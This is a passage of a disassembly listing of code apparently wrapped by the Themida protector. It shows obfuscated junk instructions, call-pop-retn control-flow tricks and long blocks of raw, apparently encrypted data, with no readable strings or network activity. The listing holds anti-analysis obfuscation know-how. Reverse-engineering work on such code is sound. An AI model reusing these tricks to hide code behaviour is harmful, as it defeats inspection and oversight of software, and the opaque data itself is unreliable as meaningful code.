sub_5BC8E2 endp ; --------------------------------------------------------------------------- imul edx, [edx], 0CB7E636Ah mov edx, 6B5958Bh adc al, [esi] mov edi, 3E51F650h mov cx, 0C1E2h call near ptr loc_5BC90D+4 loc_5BC90D: ; CODE XREF: Themida_:005BC908p mov al, ds:5000000Fh mov eax, [esp+4] push edx mov bh, 0B8h pop edi mov eax, [eax] push edx pop edx mov [esp+4], eax mov di, ax pop eax and ecx, [ebp+6121855h] call dword ptr [ebp+61219CDh] push 0 push esi call sub_5BC93D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC93D proc near ; CODE XREF: Themida_:005BC935p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5BC93D endp ; --------------------------------------------------------------------------- db 0F7h, 0E1h, 0EEh ; --------------------------------------------------------------------------- add eax, 0F911EE2h mov edi, 35B58DC9h pop ebp sbb [esi], eax push 0 push eax call sub_5BC968 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC968 proc near ; CODE XREF: Themida_:005BC960p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5BC968 endp ; --------------------------------------------------------------------------- dd 7B45196Ah, 0EBA16578h, 79BD8990h, 0F061228h, 6C7FBBFh dd 6D676552h, 7E9h, 0FD09D800h, 514F53F3h, 6F0446C7h, 6A6C636Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 3F6CC352h, 0B997D716h, 6810F2Eh, 29000000h dd 12058DBDh, 846C706h, 737361h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 11C35040h, 0EA81006Ah, 4390C454h dd 5D35858Dh, 0BD8B0619h, 6122A75h, 7E95190h, 0CD000000h dd 3250C9BBh, 505FB57Fh, 2830Fh, 0F2B60000h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D23E006Ch, 7A6978EFh, 0D91958Bh, 95FF0612h, 61229D9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 59C35141h dd 26AAB3Ah, 0CBFA9BB4h, 840FC00Bh, 53h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 37C35545h, 19D413D9h dd 2C79958Bh, 0E5E90612h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 4D0EC351h dd 4E830ECEh, 66C6CEF5h, 68A3C7BFh, 0CAD49FCEh, 830F5060h dd 0 ; --------------------------------------------------------------------------- pop esi mov edi, 17B52A18h popa add dword ptr [esp], 352B615Eh push 0 push ebx call sub_5BCAF5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCAF5 proc near ; CODE XREF: Themida_:005BCAEDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5BCAF5 endp ; --------------------------------------------------------------------------- db 0DBh, 56h, 42h dd 3E68A4CFh, 18E0Fh, 0FFFC0000h, 1219CD95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 7C814869h, 689EBD65h, 85BD0BA8h, 3061209h, 120DB1BDh dd 35B58D06h, 6A06195Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 6354C357h, 986AF9C0h dd 6C75A69h, 36343831h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0C4C35747h, 0E7481F52h, 370446C7h, 6631342Dh dd 46C7FA8Bh, 8, 61952300h, 6A06122Ch, 0C6B35200h, 35858D5Ah dd 0E906195Dh, 0Fh, 0D2658BE6h, 0AD14EA64h, 58619B11h dd 90E9F40Fh, 5E8h, 24036B00h, 0F51086Dh, 89h, 505F5B00h dd 9D4F71BFh, 6A9015h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FF6F00C3h, 1229D995h, 799D8B06h dd 0B06121Bh, 30840FC0h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 54FCC355h dd 4108FA86h, 2EED431Bh, 247E9h, 45958900h, 0E8061204h dd 4, 12Ch, 50DF8B66h, 448B15B5h, 0BF660424h, 8B4044h dd 0C4BA6657h, 44895976h, 8E90424h, 0C4000000h, 4F987063h dd 58C84E4Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 88C35747h, 0FF80E621h, 1219CD95h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 89898A24h, 4DD2440Eh, 0FBBB66EAh, 0EE867h, 4C7B0000h dd 37EDE2DAh, 0C4A2A052h, 0D9B2E4A0h, 6800Fh, 85890000h dd 6120139h, 35B58D5Bh, 0F06195Dh, 0C81h, 68C0F00h, 8B000000h dd 121EA995h, 4606C706h, 6A656C69h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 4747C350h dd 0E94A77A6h, 12h, 0CA5A0DA5h, 5087D206h, 43440580h, 0A700564h dd 9D3362FEh, 61214D9h, 6D0446C7h, 6A636E6Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 895AC352h, 12107585h, 9DB46006h, 1B45BD0Bh, 0C7610612h dd 616C0846h, 8D2B7373h, 6122A01h, 0C46C7h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0AA5AC350h, 54AA65D3h, 14E9h, 9C66C300h dd 0B6A48DB4h, 0A6CCFDD8h, 9C77383Eh, 829ED717h, 3820FAEh dd 0F000000h, 6ACBBFh, 13E8h, 2EAEA100h, 85DDAE2Eh, 0EA474BC0h dd 0F5162D95h, 0D97C35A6h, 5FB5C780h, 5D35858Dh, 0EA800619h dd 51BD8BF1h, 50061216h, 0FE8h, 0FC5D300h, 0C0A9779Bh dd 0CBC26C0Fh, 0F092B60Eh, 800F51h, 59000000h, 2404895Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 8AC35141h dd 29D995FFh, 8D890612h, 61205C1h, 840FC00Bh, 35h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h, 735EEFE8h dd 0A2824AB4h, 2DD1BD31h, 11E90612h, 8B000000h, 1221DD95h dd 0FA45E906h, 0BD89FFFFh, 6122329h, 7277B58Dh, 6A0612h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0A2D60AC3h, 0D1DDE2EAh, 0B8h, 0FFCA8A00h, 0A5958BE6h dd 8B06120Dh, 568D8DC1h, 6A061965h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8A86C352h dd 0FAB70FC3h, 9A18D89h, 958B0612h, 6122ABDh, 50585C7h dd 59A80612h, 0C7F90000h, 121BD985h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 1BD89ECh, 0FF06121Fh, 122DB9B5h, 59E38106h, 0FF05153Dh dd 121B3195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 75B208E5h, 8BFC0949h, 0FF006AFBh dd 1219CD95h, 0EBC08B06h, 8BCA64Fh, 5A1F5463h, 0D8560184h dd 197F269Dh, 3081B480h, 8341E02Fh, 0EDAA746Bh, 0C64CC72Fh dd 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh, 0DC3AA07Ah dd 0E32C6653h, 38FDEC8Eh, 9745CD2Ch, 0C0E02817h, 513411DCh dd 89F59B05h, 0D454BAE2h, 0CE8h, 1B405700h, 537A4070h dd 0BDD407E4h, 4266BFF7h, 8B59155Bh, 2DC181F9h, 31000059h dd 12176D85h, 1623BA06h, 0CF810000h, 6C00972Fh, 0BE66198Bh dd 0C3812A03h, 13615E60h, 0B025BE66h, 0EFB6EB81h, 0B86607A8h dd 0F381E4E5h, 0C2257CCh, 0BD8B1989h, 6123195h, 8B01E983h dd 120D4D85h, 49494906h, 9E9h, 0F838E900h, 1DB2E0EAh, 0F4A6B77h dd 1285h, 52B86600h, 28E9C7h, 5E2A0000h, 0E23F9840h, 8B0A92A0h dd 12318985h, 0FF9AE906h, 0C432FFFFh, 0D215A830h, 2D4E2BB4h dd 2A806F81h, 434BDC92h, 2EE9F75Dh, 77000000h, 4AC9B2h dd 0Ah dup(0) dd 0D5AE900h, 0BA680000h, 0E9061968h, 0FFF91969h, 19697368h dd 195FE906h, 3A68FFF9h, 0E906196Ah, 0FFF91955h, 196AF268h dd 194BE906h, 4D68FFF9h, 0E906196Eh, 0FFF91941h, 19713D68h dd 1937E906h, 3268FFF9h, 0E9061972h, 0FFF9192Dh, 0E482EEE1h dd 0F89600F4h, 10AE1008h, 26C42A20h, 3BD94136h, 0C0173CEh dd 1F1606A4h, 342D1DBBh, 4C4636D4h, 0F05150EEh, 26D577Fh dd 0B2536676h, 0D883E3DCh, 26D3F67h, 96004E76h, 62D35C5Ah dd 6FE9073Ah, 0B189F341h, 0E85154BCh, 60551D12h, 79FF5F8h dd 6C44AE04h, 0F6681373h, 12393300h, 5DDB4548h, 933EC5C8h dd 9C71990Ah, 2A786FE9h, 1FC435C0h, 4269FBA6h, 9D9FE8D0h dd 77E183B6h, 48AC4E98h, 8E83D9DDh, 25D94BF6h, 0B36B56A1h dd 80D1B41Eh, 75FB7554h, 0FFD3B38Ch, 0DE2FECA8h, 2EEFh dd 865C9500h, 45C22C8Eh, 9F10BB46h, 69FB0BDAh, 499A9DEBh dd 75FB141Dh, 1A9C7C55h, 873FD2A8h, 26CB63Bh, 2FE5CE25h dd 0C15DEh, 20BB0000h, 84Fh, 4FB1A97Fh, 150FA9E5h, 4FEB4B7h dd 64D55246h, 6FE9073Ch, 5A5DF543h, 39CE6C04h, 7B04AF32h dd 0E04AAEA5h, 0FB1DB06Dh, 9093E169h, 0FB22133Fh, 92724B75h dd 0DC463A10h, 9A3E9572h, 0C133DE2Fh, 2C31737Ah, 0B4ED5702h dd 3Ah, 0E0636A5Ah, 11C3C435h, 0FC4A69FBh, 0EAAADF51h dd 94CFEFE1h, 0CAF6472Ah, 275FB31h, 0C424CD3Fh, 0B8A98F53h dd 7C749C0Dh, 2D7B75FBh, 6E4222C3h, 0DE2FF017h, 0CB5Eh dd 150F0400h, 0DFF414BBh, 297F82EAh, 46041195h, 0F5ABAEh dd 45DD4138h, 544F289Ah, 2D4878FEh, 302AE0C3h, 0F466CFD2h dd 218C061h, 0F1C93371h, 58FB99F7h, 24278B82h, 0E5F164CEh dd 3B6FE9AFh, 5545E341h, 91FAFD5Bh, 3FE541Fh, 2D27CADCh dd 0DE76CCCFh, 3C120D4Ah, 0B11BAA6Ah, 0FFAA3934h, 0FB7DE58Eh dd 8A6F469h, 3EE97873h, 85E7DFB5h, 2079A81Bh, 46947010h dd 68D0C59Bh, 7DE5DACAh, 43BC888Bh, 25CAAD79h, 0A6Dh, 0CC6AD6C9h dd 0E07EE8DCh, 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h dd 7FEEE8Ch, 1C1505A3h, 342E1EBCh, 0D83938D6h, 26F3F67h dd 0E93B4E76h, 2991865Ch, 8E66D026h, 0A3933199h, 59AD4BA9h dd 35E0636Ah, 0BC1F6BC3h, 55B5EC8h, 0B8EB8B71h, 5152C34Eh dd 0F869FB3Eh, 2A56A7AAh, 6275FB41h, 4C942D9Fh, 0A839FFC3h dd 0E9BD9D3Eh, 0DE305E92h, 82D9h, 150F7F00h, 65FD5F57h dd 4FB7AC62h, 2EFFB4Ch, 4B456FE9h, 655F4FEDh, 0A2A90407h dd 5A03741Fh, 6369FB0Bh, 0EBE27715h, 1E3CAD58h, 0F1700FB0h dd 2D22F8A3h, 423727C5h, 0E819E8DAh, 1D007943h, 9B478h dd 238F8200h, 37A19585h, 4FB1A999h, 65CBC1B1h, 7AE2D7C7h dd 0A2106FDCh, 0B7A745ADh, 0CEBE5CC0h, 0E7D775D5h, 0F2F18FEDh dd 70F82091h, 0F4077602h, 0B21A0FA2h, 0D33D3107h, 1FBEB69h dd 0FB105A3h, 0FEB4B715h, 0FA229304h, 16FE907h, 0DA7D1BB3h dd 3EA80E04h, 16153804h, 0D26FE08Bh, 4369FB2Eh, 0A9A8FBF5h dd 0C6CC3E5Eh, 20913CC7h, 19D24F0Bh, 2048B91Ah, 2F19AE2Fh dd 2C9E49E1h, 49D2DA9Bh, 0AF92FC99h, 1FCA5954h, 0C1B755AEh dd 0CB76C413h, 52001959h, 0BC267373h, 0F0615B31h, 2FC2201Ah dd 1FB9B507h, 1C44B516h, 231FB9B5h, 7A53DD5h, 0CF12F264h dd 0D695A543h, 3C9A946Ch, 7A46AD4Ah, 0D07558C9h, 8EDh dd 4CEA5649h, 60FE685Ch, 78167870h, 8E2C9288h, 0A341A99Eh dd 7469DB36h, 877E6E0Ch, 9C958523h, 0B4AE9E3Ch, 58B9B856h dd 271BFE7h, 69BBCE76h, 0CB7150Fh, 7EA1283h, 0D4456FE9h dd 6FE907ACh, 186665B3h, 7D70CBAEh, 52C93BE6h, 5981F27Ch dd 606FE9A9h, 0CFC7E12h, 54BCB1A9h, 691FB51h, 0FBE35895h dd 0F0E7BD69h, 0F543228Ch, 1B7B744Ah, 21948D7Dh, 0FBE388B0h dd 0B1499775h, 796F45AEh, 50BA1013h, 0FBE3B5DDh, 0F3043075h dd 767575FBh, 37054EFh, 0F5EDD2BAh, 57029AFEh, 0D1E2DE6h dd 0B0E5C70h, 6ED8CCA2h, 0D4322C04h, 4A8E13E2h, 5E03E679h dd 835h, 4A20E01h, 18B62014h, 30CE3028h, 46E44A40h, 5BF96156h dd 2C2193EEh, 3F3626C4h, 544D3DDBh, 6C6656F4h, 1071700Eh dd 271779Fh, 21738676h, 35E0636Ah, 0FB0F0BC4h, 40B11269h dd 75FB0F18h, 9641D927h, 6164CAC0h, 4E51B3ABh, 13F660F8h dd 88B021AAh, 9E75FB0Fh, 0EB4144A6h, 5C349EECh, 7060FE68h dd 56BCB27Ch, 0E052BBBEh, 97342805h, 0DB58C276h, 36A853D2h dd 91601929h, 0CF5AC40Eh, 0FBDAFE5Eh, 978B6175h, 96E4C32Dh dd 9D7D3C93h, 0D270DACEh, 0FBDB1B47h, 4838C75h, 0DB94E859h dd 0A5F375FBh, 968E6407h, 71DB3134h, 383BA599h, 0FBDAC3E7h dd 9E9A875h, 475FE87h, 75FBDBDCh, 0DA0295E3h, 0E175FBDBh dd 0DBE70F80h, 0A8F675FBh, 0DACEA610h, 592FD270h, 0BC94FE62h dd 0DDB35EC8h, 331680E8h, 0FBDB66E2h, 0BC9C5B75h, 0F18FF9EDh dd 29D4535Ch, 0FBDB8BB8h, 494C9A75h, 50120AE0h, 5B5EF658h dd 93289B05h, 9B219B36h, 8A60E2C2h, 55E33591h, 353B04ACh dd 0E45B099Dh, 271D7E0Ch, 3F89E0BDh, 0B5D04A91h, 76000001h dd 3A62D35Ch, 416FE907h, 10C89F3h, 5D66D782h, 0AC69FB2Dh dd 0E3DDB35Eh, 0FDF7E785h, 0C14B9C9Fh, 0ACEEC1D8h, 0E911820Bh dd 0F0F13D87h, 8D0A0EA2h, 6B723863h, 0B1806001h, 18BB59B7h dd 1FEBDAA6h, 68BEC12Bh, 2DE67CD4h, 97F1EBC3h, 0CA40920Bh dd 0E0E37B3Ah, 52FD8485h, 2023837Ch, 0F2E260CAh, 0DD9396FCh dd 0F7E785E3h, 4B9C9FFDh, 9EB89951h, 43C5A55Ch, 0E11776Dh dd 7C764EB8h, 0A49D731Eh, 6C5CDA44h, 68900172h, 7763C75Ah dd 75199529h, 833EDE52h, 0D7FE8EBh, 0E9E3A610h, 57C2F78Bh dd 9D8E0B75h, 60D25B06h, 32C6BC97h, 7AED5719h, 63C7CC52h dd 4EB6AB59h, 9F7518B6h, 0ED4346A6h, 4EB6AB83h, 81A91AA3h dd 8F63C7CCh, 0E7353498h, 4E3F9A7Dh, 679B0CB7h, 0DA63C7CCh dd 22931004h, 63C7CCFAh, 181BB301h, 2B7958C2h, 45A39D8Dh dd 69CDC49Ah, 71661CFFh, 0F0AF0609h, 0E9474110h, 0AE1FA84Bh dd 63C7CC86h, 8DEFE795h, 0A49C348Ah, 0F3494CAAh, 59B7B189h dd 7BE3D8AEh, 302A2278h, 0F79CFD2h, 0E9D8D12Ch, 4BF68EF2h dd 128E50C2h, 8064D7BBh, 0C7A8C5EDh, 1C86D463h, 0A8F02091h dd 0B1FF63C7h, 6B292313h, 51B9AE76h, 5D60F84Eh, 0B66C6F07h dd 985A5DBDh, 76703F1Fh, 908A7A18h, 0BCB18732h, 0AC07EA54h dd 0F07924A3h, 0C7A8577Fh, 84186663h, 76C36296h, 2CB7216Ch dd 0C7BD7FBBh, 0ECE08E63h, 91297F82h, 0C4EC5DE6h, 0CB63C7BDh dd 0BDD1F96Ah, 8AD863C7h, 1A0A88F2h, 153DAE21h, 2463C7BDh dd 0E03B3ED6h, 3CAD58EFh, 63C7BD04h, 0CB1FBD0Bh, 5E57150Fh dd 0DA5FBFEh, 4068D962h, 4F6FE907h, 84199701h, 0DE4FFA89h dd 69FB00BDh, 6FD3CAA0h, 0CDAC166Ch, 6D65271Fh, 1AB2080Bh dd 7E29C117h, 0F557580Ch, 0C8F50346h, 0E5E77B5Eh, 0A9349E11h dd 0DC7ADAD3h, 9093F3ECh, 0AB3635h, 46AAA177h, 1083ED43h dd 700DE1D3h, 60B1B402h, 6FE9F534h, 701BA6A5h, 0FBDD46FFh dd 6095769h, 6F85650h, 7337CFE5h, 0DA781D00h, 5C000004h dd 6F5FFD69h, 8373117Bh, 9B8B298Bh, 0B1A13FA5h, 49B654BCh dd 1F877CEEh, 369A9181h, 4FAFA898h, 69C7C1B1h, 0FA6BCCCBh dd 760275D2h, 6A74C6D9h, 0C435E063h, 69FB01F3h dd 98E9EC3Ah, 75FB0E6Bh, 16EACAA3h, 0DE2F85BFh, 23E7DEB4h dd 6EC4C72Dh, 0AC336CD6h, 0D9000000h, 3C86EA5Ch, 0C279A2BFh dd 0E9E32951h, 4AE2306Fh, 0E3116DE0h, 3CE76FE9h, 0A87DF1CAh dd 0EC567C23h, 6DCBC59Bh, 0AC3F3ACFh, 0A9609001h, 216F6FE9h dd 0B06E681Eh, 0FF5558B6h, 3534C967h, 0F989FBA6h, 329CB201h dd 63D45FC9h, 6FE9F633h, 15EE1C8Eh, 0D1AAA69Bh, 373A8867h dd 7E298781h, 0AFE1970Ch, 0E93B163Eh, 43D7256Fh, 3AA434F3h dd 992827BCh, 0BFF365EEh, 0A686ECA0h, 86D245AFh, 956FE97Ah dd 0D386B54Bh, 0E9613A62h, 5FF3416Fh, 56EE3BC5h, 36D60253h dd 8C4B6FEAh, 0AA3938ACh, 0B6428EFFh, 3516FE9h, 0A98665h dd 6A340000h, 0C435E063h, 69FB0F0Bh, 0BC1C412h, 7D12B014h dd 0D647F28Fh, 75FB0FA2h, 0D0493F15h, 0FB0F375Fh, 60F84675h dd 4BB1A75Dh, 0F05AF248h, 6FC0C311h, 96290150h, 592D0DE6h dd 0D20B7602h, 6649h, 172EA000h, 0FDD246CCh, 5CD10D77h dd 73A62D3h, 0F3416FE9h, 81000C89h, 73D65D6h, 0FE4C6FE9h dd 0EA4E45FBh, 30B5B74Ch, 337840C1h, 514D6A07h, 338B64F8h dd 69D1C6BEh, 39B526D1h, 0C86FE9F6h, 380E777Ah, 82D8DB43h dd 3679A518h, 2FEE6FEAh, 50D1DB4Fh, 0FFD033A5h, 265F4D87h dd 44C031BCh, 0D36FE989h, 0F93E785h, 0FA625715h, 0E44C41F7h dd 5BF38BE1h, 2219EF58h, 827C54BEh, 1307CFC4h, 0B80E11A9h dd 0FEED8220h, 8A47B863h, 0F69FB1Dh, 22ED1586h, 0AEFC75FBh dd 14176544h, 0FB2297C3h, 16F6CF75h, 2F99EB42h, 4932DEh dd 5CD80000h, 2B2E8C86h, 0FFEE6BD5h, 4748B964h, 669FB11h dd 0C39B0DB8h, 0C0017870h, 96E7CA34h, 75FB246Ah, 24278780h dd 0E11796Eh, 66C8C0B8h, 6189FA63h, 6875FB24h, 0E4C47B1Ah dd 0E6C69F75h, 2F97BB12h, 10202DEh, 0FA80000h, 0FB615715h dd 5F0AA2F8h, 7AAEC1EDh, 0A40EBA5Bh, 4E160BC1h, 359B9159h dd 9C09099Dh, 3A970F42h, 0C4369FA2h, 47BACB83h, 0B088F292h dd 0EC5558B6h, 53CAF263h, 0E3D86FE9h, 362E7C7Bh, 81D7DA40h dd 0E7453F17h, 4EB2BE49h, 8E886FE9h, 0B9AF8530h, 90FA5053h dd 0A3996F12h, 12BA5941h, 0DF7795CAh, 45A39D75h, 67CFC49Ah dd 2E7A0E64h, 0B5DF6770h, 0E03B1E88h, 3AAB56EDh, 69FB8781h dd 79C3A88h, 61D27D04h, 700FE9CBh, 83590452h, 0A57B268Eh dd 0F1474AAEh, 90660987h, 0DA30339Bh, 8623D746h, 85EF964Ah dd 5E50B8ADh, 794442FBh, 0EAC66B4Eh, 4C000001h, 5F4FED59h dd 7363016Bh, 8B7B197Bh, 0A1912F95h, 39A644ACh, 0F776CDEh dd 268A8171h, 3F9F9888h, 59B7B1A1h, 0EA5BBCBBh, 760278C2h dd 0F64B6C9h, 7114B21Ah, 9A78EDFFh, 0C22CB279h, 3A32F0EAh dd 94BC2DD8h, 9B6FE976h, 0C317B54Dh, 0FB28EA5Ch, 5B322861h dd 0EA7974F1h, 0CDCE3Fh, 1B7C69FCh, 0FBFF82AAh, 433B8975h dd 4D50E84Ch, 0C2EA5BE4h, 0C975FBFFh, 729E117Bh, 0AA75FBFFh dd 0B71911E7h, 53F45EB4h, 73489F73h, 0A38FDE30h, 35000000h dd 0CB7150Fh, 0D5D84236h, 0C932157Fh, 2F99FBF3h, 0F7FA6257h dd 0E9029AA6h, 1C76706Fh, 0CCCDFC90h, 41DF775Eh, 0F6F95751h dd 0BAB1909Bh, 65FD5356h, 0A79049BAh, 6BB969FBh, 5F542ACDh dd 0CA9995FBh, 61F9F24Ch, 0F0737AF7h, 0D69DD445h, 72C0700Fh dd 94FCF1C7h, 0A91106F6h, 441298B7h, 15BA9D79h, 0F5h, 44E24E41h dd 58F66054h, 700E7068h, 86248A80h, 9B39A196h, 6C61D32Eh dd 7F766604h, 948D7D1Bh, 0ACA69634h, 50B1B04Eh, 279B7DFh dd 61B3C676h, 14B21A0Fh, 2ECC2A24h, 5ABEB58Bh, 0D35CB4F0h dd 0E9073A62h, 0FBF3416Fh, 459B9E06h, 0AF0903DBh, 67A135EAh dd 50E11017h, 98E2ED98h, 0AF656800h, 4ABB44B5h, 6FE94522h dd 2048DB29h, 366FE945h, 81D7DA40h, 0F19C3482h, 0BEC3897Fh dd 4DB7F882h, 0B0333ACFh, 29359305h, 0B0E3656Ah, 51BB53BBh dd 9ED055C6h, 0EFC569F0h, 4D2C96F6h, 4C46FCFFh, 666050EEh dd 10B40508h, 5F295319h, 0AE7C4CBEh, 0F4144F31h, 3A09E98Ah dd 5444E240h, 0EAC5005Ah, 0C3889674h, 0FC200B6Bh, 750DA5D8h dd 60C6BC72h, 0D45D065Dh, 0B20B3B63h, 8AF442BAh, 403A09E9h dd 6C6137E2h, 41AB0104h, 7BD9D3C3h, 3D378h, 95810000h dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 0EC834D0Bh dd 243C8904h, 0C781E789h, 4, 8704EF83h, 835C243Ch, 1C8904ECh dd 5D086824h, 3C890000h, 2F5DBB24h, 0BD551AA4h, 361731D6h dd 4503E5C1h, 8145DDF7h, 3D2DD9E5h, 25C5817Eh, 19D7116h dd 0E8685DEBh, 8900003Ch, 4812424h, 424h, 53535F00h, 7F7F8EBBh dd 245C295Dh, 478F5B04h, 8478108h, 5D7F7F8Eh, 5F2434FFh dd 4C481h, 1C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4 dd 5C241C87h, 0F90C24E9h, 0E14433FFh, 0DD645BFDh, 24788433h dd 19734CB8h, 0FFC50306h, 0F4C9CDE0h, 0B4B03016h, 0AEF23B17h dd 17D7DD2Dh, 0EC00B04Dh, 9A145D25h, 0B866564Ah, 1F78C28h dd 0DE86Bh, 3F9F0000h, 6BF9F3E3h, 0D35F3BFAh, 8BD0EAC8h dd 0E9605AF7h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh, 8161F87Ah dd 0E257C2h, 870F00h, 0BF000000h, 386Fh, 0AFABE181h, 32FF17B4h dd 28D0Fh, 0DDB10000h, 0BE9575Bh, 1A000000h, 23F13C7Eh dd 0CD0C5DB6h, 81590DA5h, 0B9FFE1C3h, 0C38B6645h, 0B28EC381h dd 870F2BEAh, 2, 0F3812DB4h, 25FE81A2h, 0B4DE8166h, 0BE1A8967h dd 0FB098A1h, 0B801EA83h, 61289099h, 664A4A4Ah, 0F9B0C981h dd 0F01EF83h, 0FFFFA185h, 5EBE66FFh, 0ECE971h, 0 dd 0AC370000h, 5CEB77E7h, 3C4977E7h, 0E21F77E7h, 0E30077F7h dd 77F7h, 277E6h, 5 dup(0) dd 0A5FD0000h, 77E7h, 2Bh dup(0) dd 20000h, 0ED140000h, 0A2A31611h, 66113211h, 6699DA75h dd 158D3215h, 72B7893Ch, 88CE70D3h, 17E368Eh, 913BF5h dd 7DE39Eh, 6F7CF194h, 0F735B174h, 6642200Eh, 0DBA13B60h dd 600325C8h, 36914615h, 0DE84B946h, 66223604h, 6694B79Ch dd 0FB053407h, 60509C1Ah, 3E79E1EAh, 71CC8F96h, 12883407h dd 0DE176202h, 66223604h, 6694B79Ch, 0FB053407h, 605098EBh dd 3E79E1EAh, 619C3DE0h, 69883215h, 6644339Bh, 2D4ACE15h dd 0EF113221h, 0A5011609h, 8F1FEA9Ch, 66223212h, 0D3F51B27h dd 0E55FA721h, 7F30E6A8h, 0E22D3213h, 6611325Ch, 668837FCh dd 0D6FC8D15h, 0E3AF7DBBh, 60086822h, 6689BF1Ah, 99BD3215h dd 694252C5h, 66113295h, 757B915h, 7948D1Ah, 3C45B798h dd 75F8340Ch, 90883215h, 5EB7C65Ch, 4D46BC7h, 0F18A5D37h dd 2D27F808h, 0B6BBE121h, 17A7F4E9h, 3017203Dh, 0DEDA5AE0h dd 24AEBDh, 70A0FADh, 56F887EAh, 75613407h, 0C1443215h dd 72ED0095h, 0B8EAA7E5h, 1BA23F60h, 16D087D1h, 0E3AF80F6h dd 60044D20h, 6958CDECh, 6644339Eh, 0E3ABCB15h, 600310A8h dd 66883AFCh, 70C72415h, 4E2870E6h, 2794F568h, 668E203Ch dd 9E443215h, 0EC488975h, 27A724C4h, 170DF474h, 2342203Dh dd 6627DBECh, 92EC3215h, 0E002092h, 0E8365B7Ch, 0ADE1B275h dd 9970BCA2h, 748B83A0h, 0B6C55213h, 701E8719h, 0EB70CA9Eh dd 74B36F90h, 0B6BBCA13h, 662221FCh, 6075DC15h, 1B21B851h dd 2B3A3F14h, 0A42A272Bh, 0E6AB445Ah, 570DB79Ch, 0EA4B3407h dd 66223204h, 6614DB75h, 7EAC3215h, 0DC1F92B4h, 0F4D60B9h dd 1794F474h, 258E203Dh, 0D1A5AECh, 99DBAE72h, 741283A0h dd 610C3D13h, 6443215h, 819B13AAh, 0E39C535Eh, 609A0948h dd 8F94CDE9h, 66223205h, 2F5E89CEh, 8E874EB6h, 2EC1A7A7h dd 0C688BBD8h, 12ADB79Ch, 0E687340Ch, 6644320Eh, 6637BD1Ah dd 76F83215h, 0A8883215h, 7A5A95C9h, 6E64C9C8h, 742A7DC8h dd 0A05B2CC1h, 746C4390h, 8F426613h, 6611321Fh, 1056B836h dd 0F43A2AAEh, 0AD98E1DDh, 77D6E9Ah, 4E01B7Dh, 664BDBFBh dd 0B9F3215h, 0E70C9E52h, 0F427E9EAh, 0AC30797Ah, 0D797CD05h dd 69172016h, 66883391h, 0E3C9CB15h, 60300948h, 9EC1CDE9h dd 0A60DBBE9h, 9F422B61h, 662222FCh, 10140815h, 42222765h dd 7F4066FFh, 9DE49D1Ah, 1794F4C4h, 238E203Dh, 0ED225275h dd 0D5CCB3EEh, 70904A5h, 669FB11Ah, 77AC3215h, 3D223215h dd 21C861F0h, 7EAEAE8Dh, 0B8B83116h, 0AB8866A5h, 0A479534Eh dd 8F52522Dh, 66443205h, 564D6B1h, 832C266Fh, 3474E510h dd 17DCD012h, 659387EAh, 0E81E3407h, 6688321Fh, 664437FCh dd 39F66B15h, 0E39CC0A7h, 609A0948h, 9394CDE9h, 12E6B79Ch dd 0E771340Ch, 0F23D58E2h, 7B4B91Eh, 618F8F96h, 69113407h dd 66892190h, 0E382CB15h, 60301A64h, 6E933D50h, 69883215h dd 66443091h, 8F435215h, 66113218h, 69CE7A6Dh, 8F087207h dd 5B7525h, 18975AEFh, 0EF87C835h, 6644320Eh, 6631DA75h dd 0EE453215h, 0E56E90AFh, 587F09B3h, 0F1A4496Eh, 5F7F994Bh dd 69E96B03h, 6644339Bh, 0D3DDCB15h, 600331A4h, 0E8876575h dd 66443215h, 0E22D524Ch, 66113215h, 668834FDh, 3FA75F15h dd 392CE110h, 0E7715374h, 0F493EFFEh, 46ADB363h, 778B40Ah dd 5D4CB798h, 6B613407h, 89443215h, 2C96414Bh, 818F9097h dd 84B1A01Ch, 0EFBDE2EAh, 